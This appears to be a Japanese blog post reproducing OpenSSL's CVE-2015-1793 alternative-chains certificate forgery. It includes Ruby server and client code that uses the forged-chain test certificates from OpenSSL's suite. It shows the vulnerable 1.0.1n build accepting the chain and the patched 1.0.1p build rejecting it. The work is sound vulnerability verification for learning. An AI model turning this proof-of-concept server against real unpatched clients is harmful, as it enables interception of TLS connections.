Alternative chains certificate forgery(CVE-2015-1793)を検証してみた


#概要
先日、OpenSSLの脆弱性（CVE-2015-1793）が発表されました。
[JVNのCVE-2015-1793のページ](http://jvn.jp/vu/JVNVU99160787/)を見ると`深刻度－高`となっていたので、どういうものなのか調べました。
[OpenSSLのリポジトリ](https://github.com/openssl/openssl/commit/593e9c638c58e1a510c519db0d024527113330f3#diff-34e5085afc62aa2dd21f6e952250f3bfR104)を見るとテストコードが公開され、攻撃可能な状況について説明があったのでこれを読みました。
これを見ると以下の様な図になっていました。

```
rootCA (self-signed)
   |
interCA
  |
subinterCA       subinterCA (self-signed)
  |                   |
leaf ------------------
  |
bad
```

まずこれを見て思ったのは、証明書チェーンって分岐あるの...??ということでした。
subinterCA(self-signed)ってroot CAなのに、そこの発行した署名書に対してinterCAが署名するという状況あるのかな。
まずそこからいきなり分からなかったのですが、ググり続けようやく分かりました。
クロスルート証明書というものがあるらしいです。以下のサイトがわかりやすかったです。

- [クロスルート証明書って何？](http://brenhilt.com/tech/2013/0211)

ということで起きうる状況が理解できたので、次になぜ今回の脆弱性が生まれたのか調べました。
先ほどのOpenSSLのテストコードを読んでいても、interCAが`roots.pem`に入っていてrootCAは入ってないのはどういうことだ！という感じでした。
「rootCAがいるのに`roots.pem`に入ってないからチェーンの段差が影響あるんじゃない？」などの指摘を部署の方から受けたりもしましたが完全には理解できず、どうしたものかと困っていたら非常にわかりやすい解説記事が出ていました。

- [OpenSSLの脆弱性(CVE-2015-1793)によるAltチェーン証明書偽造の仕組み](http://d.hatena.ne.jp/jovi0608/20150710/1436521488)

これ読めば全て理解できるね〜ということで特に言うことはないです。終わり。
というのもアレなのでRubyで今回の脆弱性を検証してみました。
上記でleafが`CA=FALSE`で、CAではないのに証明書が発行できてしまう（検証を通過してしまう）というのが今回の脆弱性なのですが、状況の詳細はopensslのテストコードか上記のブログを参照して下さい。
ここでは検証だけ行います。
何か検証がおかしかったら指摘頂ければと思います。
Ruby初心者なので書き方についてのご指摘もお待ちしております。

#環境
- OS
 - CentOS 6.6
- OpenSSL
	- 1.0.1n(脆弱版）
	- 1.0.1p(修正版）
- Ruby
	- 2.2.0

#参考サイト
- [OpenSSL に証明書チェーンの検証不備の脆弱性](http://jvn.jp/vu/JVNVU99160787/)
- [OpenSSLの脆弱性(CVE-2015-1793)によるAltチェーン証明書偽造の仕組み](http://d.hatena.ne.jp/jovi0608/20150710/1436521488)
- [クロスルート証明書って何？](http://brenhilt.com/tech/2013/0211)
- [LinuxにApacheとOpenSSLをソースからビルドしてインストールする](http://qiita.com/DQNEO/items/3613cc1d87c01121a9e2)
- [RubyのOpenSSL::OPENSSL_VERSIONはなぜ定数？](http://masutaka.net/chalow/2014-04-08-1.html)

#検証
まず自分のopensslのバージョンを調べると、1.0.1eで今回の対象ではありませんでした。

``` console
$ openssl version
OpenSSL 1.0.1e-fips 11 Feb 2013
```

そこで対象のバージョンをそれぞれ落としてきて、`/opt`以下にインストールします。

##openssl-1.0.1n
### opensslのインストール
最初にopenssl-1.0.1nをダウンロードしてきてインストールします。

``` console
$ wget ftp://ftp.openssl.org/source/openssl-1.0.1n.tar.gz
$ tar zxvf openssl-1.0.1n.tar.gz
$ cd openssl-1.0.1n
$ ./config --prefix=/opt/openssl-1.0.1n shared zlib
$ make
$ sudo make install
```
これでopenssl-1.0.1nがインストールされました。

###Rubyの更新
Rubyで利用されているopensslのバージョンを確かめます。

``` console
$ ruby -ropenssl -rfiddle -e 'puts Fiddle::Function.new(Fiddle.dlopen(nil)["SSLeay_version"], [Fiddle::TYPE_INT], Fiddle::TYPE_VOIDP).call(0)'
OpenSSL 1.0.1e-fips 11 Feb 2013
```

バージョンが更新されていません。新しくインストールされたopenssl-1.0.1nを指定して再度rbenvでRubyをインストールする必要があるみたいです。

``` console
$ CONFIGURE_OPTS="--with-openssl-dir=/opt/openssl1.0.1n" rbenv install -f 2.2.0
```
上記のようにopensslのディレクトリを指定するとRubyで使うopensslをアップデートできます。
再度バージョンを確かめます。

``` console
$ ruby -ropenssl -rfiddle -e 'puts Fiddle::Function.new(Fiddle.dlopen(nil)["SSLeay_version"], [Fiddle::TYPE_INT], Fiddle::TYPE_VOIDP).call(0)'
OpenSSL 1.0.1n 11 Jun 2015
```
無事に更新されているみたいです。

###検証コード
では実際に検証用のコードを書いてみます。
証明書は先程のopensslのリポジトリでテスト用に提供されてきたのでそれを持ってきます。
それらをサーバ証明書として用いるSSLサーバと、それにアクセスするクライアントを作成します。

####サーバ
サーバ側は12345番ポートでlistenします。
サーバ証明書としては`bad.pem`を利用します。対応する秘密鍵は`bad.key`です。
`bad.pem`のコモンネーム（サーバのドメイン名）はbadになっています。
このサーバの証明書チェーンは以下のようになっているので、leafからinterCAまでをクライアントに送ります。
プログラムではこれらの証明書を`extra_chain_cert`に指定しています。
サーバとしては接続してきたクライアントにSuccessを返すだけです。

```
rootCA (self-signed)
   |
interCA
  |
subinterCA
  | 
leaf
  |
bad
```

以下がプログラムです。

```ruby:server.rb
require 'socket'
require 'openssl'
 
port = 12345
bad = 'certs/bad.pem'
bad_key = 'certs/bad.key'
interCA = 'certs/interCA.pem'
subinterCA = 'certs/subinterCA.pem'
leaf = 'certs/leaf.pem'
 
ctx = OpenSSL::SSL::SSLContext.new
ctx.cert, *ctx.extra_chain_cert = [bad, leaf, subinterCA, interCA].map{|cert| OpenSSL::X509::Certificate.new File.read(cert)}
ctx.key = OpenSSL::PKey::RSA.new File.read(bad_key)
 
server = TCPServer.new port
sslServer = OpenSSL::SSL::SSLServer.new server, ctx
 
while client = sslServer.accept
  client.puts "HTTP/1.1 200 OK\r\nContent-Length: 7\r\n\r\nSuccess"
end
```

####クライアント
`roots.pem`はクライアントが信頼するルート証明書を入れます。
今回の場合は`interCA.pem`と`subinterCA-ss.pem`が含まれています。
localhostの12345番ポートでサーバがlistenしているのでそこにアクセスします。
そして得られたレスポンスのボディを表示するだけの簡単なプログラムです。
ただしサーバのドメイン名はbadですが`localhost`でlistenしているので、badが`127.0.0.1`で解決されるようにします。

```config:/etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
127.0.0.1   bad
```

以下がクライアントのプログラムになります。

```ruby:client.rb
require 'net/https'
https = Net::HTTP.new('bad', 12345)
https.use_ssl = true
https.verify_mode = OpenSSL::SSL::VERIFY_PEER
https.ca_file = 'certs/roots.pem'
 
https.start { |h|
  response = h.get("/")
  puts response.body
}
```

gistにも投稿しておきました。
https://gist.github.com/knqyf263/57ec60dfe0821320505d

###実行
準備が整ったので実行してみます。
leafはCAではないので、証明書の検証は失敗しなければなりません。

```console
$ ruby server.rb &
[1] 25798
$ ruby client.rb
Success
```
Successが返ってきていることから分かるように検証を通過し接続できてしまいました。

##openssl-1.0.1p
### opensslのインストール
今回の脆弱性が修正されたopenssl-1.0.1pをダウンロードしてきてインストールします。

``` console
$ wget ftp://ftp.openssl.org/source/openssl-1.0.1p.tar.gz
$ tar zxvf openssl-1.0.1p.tar.gz
$ cd openssl-1.0.1p
$ ./config --prefix=/opt/openssl-1.0.1p shared zlib
$ make
$ sudo make install
```
openssl-1.0.1pがインストールされました。

###Rubyの更新
Rubyで利用されているopensslのバージョンを`1.0.1p`へ更新します。

``` console
$ CONFIGURE_OPTS="--with-openssl-dir=/opt/openssl1.0.1p" rbenv install -f 2.2.0
$ ruby -ropenssl -rfiddle -e 'puts Fiddle::Function.new(Fiddle.dlopen(nil)["SSLeay_version"], [Fiddle::TYPE_INT], Fiddle::TYPE_VOIDP).call(0)'
OpenSSL 1.0.1p 9 Jul 2015
```
openssl-1.0.1pへ更新されました。

###実行
では先ほどの検証と同じコードを実行してみます。
その前に先ほどのプロセスがバックグラウンドに残っている場合はkillしてください（上記の例では`kill -9 25798`）。

```console
$ ruby server.rb &
[1] 25798
$ ruby client.rb
/home/vagrant/.rbenv/versions/2.2.0/lib/ruby/2.2.0/net/http.rb:920:in `connect': SSL_connect returned=1 errno=0 state=error: certificate verify failed (OpenSSL::SSL::SSLError)
        from /home/vagrant/.rbenv/versions/2.2.0/lib/ruby/2.2.0/net/http.rb:920:in `block in connect'
        from /home/vagrant/.rbenv/versions/2.2.0/lib/ruby/2.2.0/timeout.rb:67:in `timeout'
        from /home/vagrant/.rbenv/versions/2.2.0/lib/ruby/2.2.0/net/http.rb:920:in `connect'
        from /home/vagrant/.rbenv/versions/2.2.0/lib/ruby/2.2.0/net/http.rb:863:in `do_start'
        from /home/vagrant/.rbenv/versions/2.2.0/lib/ruby/2.2.0/net/http.rb:852:in `start'
        from client.rb:8:in `<main>'
```
今度は`certificate verify failed`と表示されきちんと失敗しました。
ということで脆弱性が修正されていることを確認できました。

#まとめ
PKIを理解しているつもりでしたがクロスルート証明書とかあったりで全然理解できてませんでした。
勉強のためにRubyで検証してみましたが、少し理解が深まった気がします。
深刻度が高のものは余裕があれば検証していきたいなと思います。
完全に自己満足ですが一応投稿してみました。